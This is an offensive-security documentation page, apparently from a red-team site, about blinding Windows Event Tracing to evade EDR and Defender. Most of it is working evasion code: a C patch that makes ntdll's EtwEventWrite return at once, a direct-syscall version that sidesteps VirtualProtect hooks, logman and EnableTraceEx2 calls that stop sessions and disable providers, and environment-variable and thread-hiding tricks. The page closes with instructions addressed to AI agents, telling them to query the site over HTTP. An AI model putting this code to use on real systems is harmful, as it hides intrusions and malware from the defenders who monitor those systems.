# ETW Bypass - Blinding Windows Telemetry

### What is ETW and Why it Matters

Event Tracing for Windows (ETW) is the high-performance logging infrastructure of Windows, operating from the kernel all the way up to userland. It is the underlying mechanism for a wide variety of visibility tools: Process Monitor, Windows Defender, EDRs like CrowdStrike and SentinelOne, and Microsoft Defender for Endpoint itself — all consume ETW events to detect malicious behavior in real time.

Unlike what many assume, ETW is not just "logging." It is a real-time telemetry channel where instrumented providers emit events to consumers (including the kernel), which can act on those events immediately — for example, terminating a suspicious process.

For offensive operations, neutralizing or degrading ETW means drastically reducing defenders' visibility into code execution, module loading, memory allocation, and network behavior.

***

### ETW Architecture

```
┌─────────────────────────────────────────────────────────────────────┐
│                     ETW Architecture — Overview                     │
│                                                                     │
│  ┌────────────────────────────────────────────────────┐             │
│  │                   KERNEL SPACE                     │             │
│  │  ┌─────────────────┐    ┌────────────────────────┐ │             │
│  │  │  ETW Kernel     │    │  WMI / Security        │ │             │
│  │  │  Providers      │    │  Audit Providers       │ │             │
│  │  └────────┬────────┘    └───────────┬────────────┘ │             │
│  │           │                         │              │             │
│  │           ▼                         ▼              │             │
│  │      ┌──────────────────────────────────┐          │             │
│  │      │       ETW Session (kernel)       │          │             │
│  │      └──────────────────┬───────────────┘          │             │
│  └─────────────────────────│────────────────────────── ┘            │
│                            │                                        │
│  ┌─────────────────────────│────────────────────────────┐           │
│  │                USER SPACE│                            │           │
│  │  ┌──────────────────────▼───────────────────────────┐│           │
│  │  │  ntdll!NtTraceEvent / EtwEventWrite              ││           │
│  │  └──────────────────────┬───────────────────────────┘│           │
│  │                         │                            │           │
│  │  ┌──────────────────────▼───────────────────────────┐│           │
│  │  │  Userland Providers (CLR, PowerShell, AMSI...)   ││           │
│  │  └───────────────────────────────────────────────── ┘│           │
│  │                                                       │           │
│  │  Consumers: EDR, WEF, Sysmon, Defender               │           │
│  └───────────────────────────────────────────────────── ┘           │
└─────────────────────────────────────────────────────────────────────┘
```

Every ETW event emission in userland passes through `EtwEventWrite` in `ntdll.dll`. This function serializes the event and calls `NtTraceEvent` (syscall), which delivers it to the kernel ETW subsystem.

If we break this path — particularly at `EtwEventWrite` — userland providers such as PowerShell (`Microsoft-Windows-PowerShell`) and the CLR (.NET runtime) stop emitting events entirely.

***

### Technique 1: EtwEventWrite Patch in ntdll

The most direct approach. `EtwEventWrite` in `ntdll.dll` can be patched to return immediately without emitting any event.

#### Identifying the Prologue

On x64, the first bytes of `EtwEventWrite` typically look like:

```
; ntdll!EtwEventWrite (Windows 10/11 x64)
4C 8B DC          ; mov r11, rsp
49 89 5B 08       ; mov [r11+8], rbx
49 89 6B 10       ; mov [r11+10h], rbp
```

The patch overwrites these with `xor eax, eax; ret` (return with `ERROR_SUCCESS = 0`):

#### Implementation in C

```c
#include <windows.h>
#include <stdio.h>

BOOL PatchEtwEventWrite(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return FALSE;

    FARPROC pEtw = GetProcAddress(hNtdll, "EtwEventWrite");
    if (!pEtw) return FALSE;

    // xor eax, eax (2 bytes) + ret (1 byte) = 3 bytes
    BYTE patch[] = { 0x33, 0xC0, 0xC3 };

    DWORD oldProtect = 0;
    if (!VirtualProtect(pEtw, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect))
        return FALSE;

    memcpy(pEtw, patch, sizeof(patch));
    VirtualProtect(pEtw, sizeof(patch), oldProtect, &oldProtect);

    printf("[+] EtwEventWrite patched @ 0x%p\n", (void*)pEtw);
    return TRUE;
}

int main(void) {
    if (PatchEtwEventWrite()) {
        puts("[+] ETW disabled for this process.");
    }
    return 0;
}
```

> **Important note**: This patch only affects the current process. Each process has its own copy of `ntdll.dll` mapped in its address space. The patch does not propagate to other processes and does not persist across reboots.

***

### Technique 2: Patch via Direct Syscall (avoiding VirtualProtect hooks)

EDRs frequently hook `VirtualProtect` to detect permission changes on system module pages. To avoid this detection, we can perform the patch using direct syscalls.

```c
#include <windows.h>

// Syscall numbers vary by Windows version
// Use SysWhispers2 or Hell's Gate for dynamic resolution in production
#define SYSCALL_NtProtectVirtualMemory 0x50  // Windows 10 22H2 example

// Direct syscall stub (x64)
NTSTATUS NtProtectVirtualMemoryDirect(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
) {
    NTSTATUS status;
    __asm__ volatile (
        "mov r10, rcx\n"
        "mov eax, %1\n"
        "syscall\n"
        "mov %0, eax\n"
        : "=r"(status)
        : "i"(SYSCALL_NtProtectVirtualMemory)
        : "r10", "eax", "memory"
    );
    return status;
}

BOOL PatchEtwViaSyscall(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID   pEtw   = (PVOID)GetProcAddress(hNtdll, "EtwEventWrite");
    SIZE_T  sz     = 4096;
    ULONG   old    = 0;

    NTSTATUS st = NtProtectVirtualMemoryDirect(
        (HANDLE)-1, &pEtw, &sz, PAGE_EXECUTE_READWRITE, &old
    );

    if (st != 0) return FALSE;

    BYTE patch[] = { 0x33, 0xC0, 0xC3 };
    memcpy(pEtw, patch, sizeof(patch));

    NtProtectVirtualMemoryDirect((HANDLE)-1, &pEtw, &sz, old, &old);
    return TRUE;
}
```

***

### Technique 3: Disabling a Specific Provider via ETW Session Registration

Instead of patching code, we can manipulate ETW session settings to disable specific providers. The `logman` cmdlet or the `ControlTrace` API can be used to pause or stop sessions.

```powershell
# List active ETW sessions
logman query -ets

# Stop the EventLog-Application session (requires elevated privileges)
logman stop "EventLog-Application" -ets

# Disable specific provider in a session
$session = "NT Kernel Logger"
logman update trace $session -p "Microsoft-Windows-PowerShell" 0 0 -ets
```

In C, via API:

```c
#include <evntrace.h>
#pragma comment(lib, "advapi32.lib")

void DisablePowerShellProvider(void) {
    // GUID of Microsoft-Windows-PowerShell provider
    GUID psGuid = {
        0xA0C1853B, 0x5C40, 0x4B15,
        {0x87, 0x22, 0x3D, 0x48, 0x03, 0xBA, 0x0D, 0x6A}
    };

    TRACEHANDLE hSession = 0;
    // Disable the provider for the session
    EnableTraceEx2(hSession, &psGuid, EVENT_CONTROL_CODE_DISABLE_PROVIDER,
                   TRACE_LEVEL_NONE, 0, 0, 0, NULL);
}
```

***

### Technique 4: Neutralize CLR (.NET) Provider via Environment Variable

The CLR runtime reads an environment variable and registry keys to determine whether to enable profiling and diagnostic ETW events. Setting `COMPlus_ETWEnabled=0` before loading the CLR suppresses all runtime events (.NET assembly loading, JIT compilation, etc.).

```c
// Set before any CLR invocation
SetEnvironmentVariableA("COMPlus_ETWEnabled", "0");
SetEnvironmentVariableA("COMPlus_ETWFlags", "0");
```

Or via command line before launching a child process:

```batch
set COMPlus_ETWEnabled=0
powershell.exe -Command "..."
```

```
┌─────────────────────────────────────────────────────────┐
│         Relevant Providers and Bypass Impact            │
│                                                         │
│  Provider                          Events affected      │
│  ──────────────────────────────    ──────────────────── │
│  Microsoft-Windows-PowerShell      Script blocks, cmds  │
│  Microsoft-Antimalware-Amsi        AMSI scans           │
│  Microsoft-Windows-DotNETRuntime   Assembly load, JIT   │
│  Microsoft-Windows-Kernel-Process  Process creation     │
│  Microsoft-Windows-WMI-Activity    WMI execution        │
└─────────────────────────────────────────────────────────┘
```

***

### Technique 5: Thread-Specific ETW Suppression via NtSetInformationThread

A subtler technique uses `NtSetInformationThread` with the class `ThreadHideFromDebugger` (value `17`). This flag, originally intended for anti-debugging, also suppresses ETW events emitted by the affected thread in some older Windows versions. On modern versions this technique has reduced effectiveness but still produces interesting behavior in certain EDR implementations.

```c
#include <windows.h>

typedef NTSTATUS(WINAPI* pNtSetInformationThread)(
    HANDLE ThreadHandle,
    ULONG  ThreadInformationClass,
    PVOID  ThreadInformation,
    ULONG  ThreadInformationLength
);

void HideThreadFromETW(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtSetInformationThread NtSIT =
        (pNtSetInformationThread)GetProcAddress(hNtdll, "NtSetInformationThread");

    if (NtSIT) {
        // ThreadHideFromDebugger = 17
        NtSIT(GetCurrentThread(), 17, NULL, 0);
    }
}
```

***

### Operational Impact and Limitations

```
┌───────────────────────────────────────────────────────────────────┐
│                    Effectiveness Map per Technique                 │
│                                                                   │
│  Technique                  │ Coverage   │ Detection Risk         │
│  ─────────────────────────  │ ──────────  │ ──────────────────── │
│  EtwEventWrite patch        │ High        │ Medium (VirtualProtect│
│  Patch via Direct Syscall   │ High        │ Low                   │
│  Disable ETW Session        │ Selective   │ High (requires priv)  │
│  COMPlus_ETWEnabled=0       │ CLR only    │ Very low              │
│  ThreadHideFromDebugger     │ Partial     │ Low (legacy)          │
└───────────────────────────────────────────────────────────────────┘
```

**Critical limitations**:

* Userland patches do not affect kernel-space providers. Events like process creation (`PsSetCreateProcessNotifyRoutine`) continue to be generated regardless.
* Modern EDRs with kernel drivers (like CrowdStrike Falcon) can detect the absence of expected ETW events as an anomaly — the "silence" itself becomes an indicator.
* Windows Defender for Endpoint implements ETW with kernel callbacks that cannot be suppressed by userland patches.

***

### References

* Adam Chester, "Hiding Your .NET – ETW" — xpnsec.com (2019)
* modexp, "Disabling Windows Event Tracing" — modexp.is (2019)
* CyberArk Labs, "Fantastic Red-Team Attacks and How to Find Them" (2019)
* Matt Graeber, "Subverting Trust in Windows" — DEFCON 25
* Microsoft Docs, "About Event Tracing" — docs.microsoft.com/en-us/windows/win32/etw/
* Sektor7 Institute, "Malware Development: Intermediate" — sektor7.net
* Elastic Security, "Detecting ETW Bypass" — elastic.co/security-labs (2022)
* Red Canary, "Detecting ETW Tampering" — redcanary.com (2023)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.redteamleaders.com/offensive-security/defense-evasion/etw-bypass-blinding-windows-telemetry.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
